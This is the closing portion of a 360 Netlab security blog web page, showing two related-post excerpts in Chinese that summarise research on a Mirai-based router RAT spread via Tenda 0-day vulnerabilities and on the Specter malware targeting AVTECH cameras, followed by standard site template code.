                <p>本文作者：涂凌鸣，马延龙，叶根深 背景介绍 从2019年11月开始，360Netlab未知威胁检测系统Anglerfish蜜罐节点相继监测到某个攻击者使用2个腾达路由器0-day漏洞传播一个基于Mirai代码开发的远程控制木马（RAT）。 常规的Mirai变种基本都是围绕DDoS做文章，而这个变种不同，在DDoS攻击之外，它针对路由器设备实现了Socket5代理，篡改路由器DNS，设置iptables，执行自定义系统命令等多达12个远程控制功能。 此外，在C2通信层面，它使用WSS (WebSocket over TLS) 协议，一方面这样在流量层面可以规避非常成熟的Mirai流量检测，另一方面可以为C2提供安全加密通信。 在C2本身，攻击者最开始使用了一个Google的云服务IP，其后切换到位于香港的一台托管主机，但是当我们使用网站证书，样本，域名及IP在我们的DNSmon系统里深入扩展关联后，我们看到更多的基础设施IP，更多的样本，和更多的C2域名。</p>
            </section>

        </a>

        <footer class="post-card-meta">

            <ul class="author-list">
                <li class="author-list-item">

                    <div class="author-name-tooltip">
                        Alex.Turing
                    </div>

                        <a href="/author/alex/" class="static-avatar">
                            <img class="author-profile-image" src="https://blog.netlab.360.com/content/images/size/w100/2019/06/turing.PNG" alt="Alex.Turing" />
                        </a>
                </li>
                <li class="author-list-item">

                    <div class="author-name-tooltip">
                        Genshen Ye
                    </div>

                        <a href="/author/yegenshen/" class="static-avatar">
                            <img class="author-profile-image" src="https://blog.netlab.360.com/content/images/size/w100/2017/10/1662072805.jpg" alt="Genshen Ye" />
                        </a>
                </li>
            </ul>

            <span class="reading-time">12 min read</span>

        </footer>

    </div>

</article>

                <article class="post-card post tag-iot tag-malware tag-rat tag-chacha20 tag-botnet no-image">


    <div class="post-card-content">

        <a class="post-card-content-link" href="/malware-specter-report/">

            <header class="post-card-header">
                    <span class="post-card-tags">IoT</span>
                <h2 class="post-card-title">幽灵在行动：Specter分析报告</h2>
            </header>

            <section class="post-card-excerpt">
                <p>背景 2020年8月20日，360Netlab未知威胁检测系统捕获了一个通过漏洞传播可疑ELF文件(22523419f0404d628d02876e69458fbe.css)，其独特的文件名，TLS网络流量以及VT杀软0检出的情况，引起了我们的兴趣。 经过分析，我们确定它是一个配置灵活，高度模块化/插件化，使用TLS，ChaCha20，Lz4加密压缩网络通信，针对AVTECH IP Camera / NVR / DVR 设备的恶意家族，我们捕获的ELF是Dropper，会释放出一个Loader,而Loader则会通过加密流量向C2请求各种Plugin以实现不同的功能。样本build路径为/build/arm-specter-linux-uclibcgnueabi，所以我们命名为Specter。 目前来看，Specter有很多不专业的地方，比如，它在释放Loader的同时也释放2个运行时所需要的库，但它们都是dynamically</p>
            </section>

        </a>

        <footer class="post-card-meta">

            <ul class="author-list">
                <li class="author-list-item">

                    <div class="author-name-tooltip">
                        Alex.Turing
                    </div>

                        <a href="/author/alex/" class="static-avatar">
                            <img class="author-profile-image" src="https://blog.netlab.360.com/content/images/size/w100/2019/06/turing.PNG" alt="Alex.Turing" />
                        </a>
                </li>
                <li class="author-list-item">

                    <div class="author-name-tooltip">
                        Hui Wang
                    </div>

                        <a href="/author/huiwang/" class="static-avatar">
                            <img class="author-profile-image" src="https://blog.netlab.360.com/content/images/size/w100/2017/05/WechatIMG1.jpeg" alt="Hui Wang" />
                        </a>
                </li>
            </ul>

            <span class="reading-time">11 min read</span>

        </footer>

    </div>

</article>

            </div>
        </div>
    </aside>

    <div class="floating-header">
    <div class="floating-header-logo">
        <a href="https://blog.netlab.360.com">
                <img src="https://blog.netlab.360.com/content/images/size/w30/2019/02/netlab_xs-2.png" alt="360 Netlab Blog - Network Security Research Lab at 360 icon" />
            <span>360 Netlab Blog - Network Security Research Lab at 360</span>
        </a>
    </div>
    <span class="floating-header-divider">&mdash;</span>
    <div class="floating-header-title">Ghost in action: the Specter botnet</div>
    <div class="floating-header-share">
        <div class="floating-header-share-label">Share this <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24">
    <path d="M7.5 15.5V4a1.5 1.5 0 1 1 3 0v4.5h2a1 1 0 0 1 1 1h2a1 1 0 0 1 1 1H18a1.5 1.5 0 0 1 1.5 1.5v3.099c0 .929-.13 1.854-.385 2.748L17.5 23.5h-9c-1.5-2-5.417-8.673-5.417-8.673a1.2 1.2 0 0 1 1.76-1.605L7.5 15.5zm6-6v2m-3-3.5v3.5m6-1v2"/>
</svg>
</div>
        <a class="floating-header-share-tw" href="https://twitter.com/share?text=Ghost%20in%20action%3A%20the%20Specter%20botnet&amp;url=https://blog.netlab.360.com/ghost-in-action-the-specter-botnet/"
            onclick="window.open(this.href, 'share-twitter', 'width=550,height=235');return false;">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32"><path d="M30.063 7.313c-.813 1.125-1.75 2.125-2.875 2.938v.75c0 1.563-.188 3.125-.688 4.625a15.088 15.088 0 0 1-2.063 4.438c-.875 1.438-2 2.688-3.25 3.813a15.015 15.015 0 0 1-4.625 2.563c-1.813.688-3.75 1-5.75 1-3.25 0-6.188-.875-8.875-2.625.438.063.875.125 1.375.125 2.688 0 5.063-.875 7.188-2.5-1.25 0-2.375-.375-3.375-1.125s-1.688-1.688-2.063-2.875c.438.063.813.125 1.125.125.5 0 1-.063 1.5-.25-1.313-.25-2.438-.938-3.313-1.938a5.673 5.673 0 0 1-1.313-3.688v-.063c.813.438 1.688.688 2.625.688a5.228 5.228 0 0 1-1.875-2c-.5-.875-.688-1.813-.688-2.75 0-1.063.25-2.063.75-2.938 1.438 1.75 3.188 3.188 5.25 4.25s4.313 1.688 6.688 1.813a5.579 5.579 0 0 1 1.5-5.438c1.125-1.125 2.5-1.688 4.125-1.688s3.063.625 4.188 1.813a11.48 11.48 0 0 0 3.688-1.375c-.438 1.375-1.313 2.438-2.563 3.188 1.125-.125 2.188-.438 3.313-.875z"/></svg>
        </a>
        <a class="floating-header-share-fb" href="https://www.facebook.com/sharer/sharer.php?u=https://blog.netlab.360.com/ghost-in-action-the-specter-botnet/"
            onclick="window.open(this.href, 'share-facebook','width=580,height=296');return false;">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32"><path d="M19 6h5V0h-5c-3.86 0-7 3.14-7 7v3H8v6h4v16h6V16h5l1-6h-6V7c0-.542.458-1 1-1z"/></svg>
        </a>
    </div>
    <progress id="reading-progress" class="progress" value="0">
        <div class="progress-container">
            <span class="progress-bar"></span>
        </div>
    </progress>
</div>




        <footer class="site-footer outer">
            <div class="site-footer-content inner">
                <section class="copyright"><a href="https://blog.netlab.360.com">360 Netlab Blog - Network Security Research Lab at 360</a> &copy; 2022</section>
                <nav class="site-footer-nav">
                    <a href="https://blog.netlab.360.com">Latest Posts</a>
                    
                    <a href="https://twitter.com/360Netlab" target="_blank" rel="noopener">Twitter</a>
                    <a href="https://ghost.org" target="_blank" rel="noopener">Ghost</a>
                </nav>
            </div>
        </footer>

    </div>


    <script>
        var images = document.querySelectorAll('.kg-gallery-image img');
        images.forEach(function (image) {
            var container = image.closest('.kg-gallery-image');
            var width = image.attributes.width.value;
            var height = image.attributes.height.value;
            var ratio = width / height;
            container.style.flex = ratio + ' 1 0%';
        })
    </script>


    <script
        src="https://code.jquery.com/jquery-3.2.1.min.js"
        integrity="sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4="
        crossorigin="anonymous">
    </script>
    <script type="text/javascript" src="/assets/built/jquery.fitvids.js?v=a1b70de19f"></script>


    <script>
// Adds delay to author card dropups to disappear. This gives enough
// time for the user to interact with the author card while they move
// the mouse from the avatar to the card. Also makes space for the
// interacted avatar.
$(document).ready(function () {

    var hoverTimeout;

    $('.author-list-item').hover(function(){
        var $this = $(this);

        clearTimeout(hoverTimeout);

        $('.author-card').removeClass('hovered');
        $(this).children('.author-card').addClass('hovered');

    }, function() {
        var $this = $(this);

        hoverTimeout = setTimeout(function() {
            $this.children('.author-card').removeClass('hovered');
        }, 800);
    });

});
</script>

    <script>

        // NOTE: Scroll performance is poor in Safari
        // - this appears to be due to the events firing much more slowly in Safari.
        //   Dropping the scroll event and using only a raf loop results in smoother
        //   scrolling but continuous processing even when not scrolling
        $(document).ready(function () {
            // Start fitVids
            var $postContent = $(".post-full-content");
            $postContent.fitVids();
            // End fitVids

            var progressBar = document.querySelector('#reading-progress');
            var header = document.querySelector('.floating-header');
            var title = document.querySelector('.post-full-title');

            var lastScrollY = window.scrollY;
            var lastWindowHeight = window.innerHeight;
            var lastDocumentHeight = $(document).height();
            var ticking = false;

            function onScroll() {
                lastScrollY = window.scrollY;
                requestTick();
            }

            function onResize() {
                lastWindowHeight = window.innerHeight;
                lastDocumentHeight = $(document).height();
                requestTick();
            }

            function requestTick() {
                if (!ticking) {
                    requestAnimationFrame(update);
                }
                ticking = true;
            }

            function update() {
                var trigger = title.getBoundingClientRect().top + window.scrollY;
                var triggerOffset = title.offsetHeight + 35;
                var progressMax = lastDocumentHeight - lastWindowHeight;

                // show/hide floating header
                if (lastScrollY >= trigger + triggerOffset) {
                    header.classList.add('floating-active');
                } else {
                    header.classList.remove('floating-active');
                }

                progressBar.setAttribute('max', progressMax);
                progressBar.setAttribute('value', lastScrollY);

                ticking = false;
            }

            window.addEventListener('scroll', onScroll, { passive: true });
            window.addEventListener('resize', onResize, false);

            update();

        });
    </script>


    

</body>
</html>
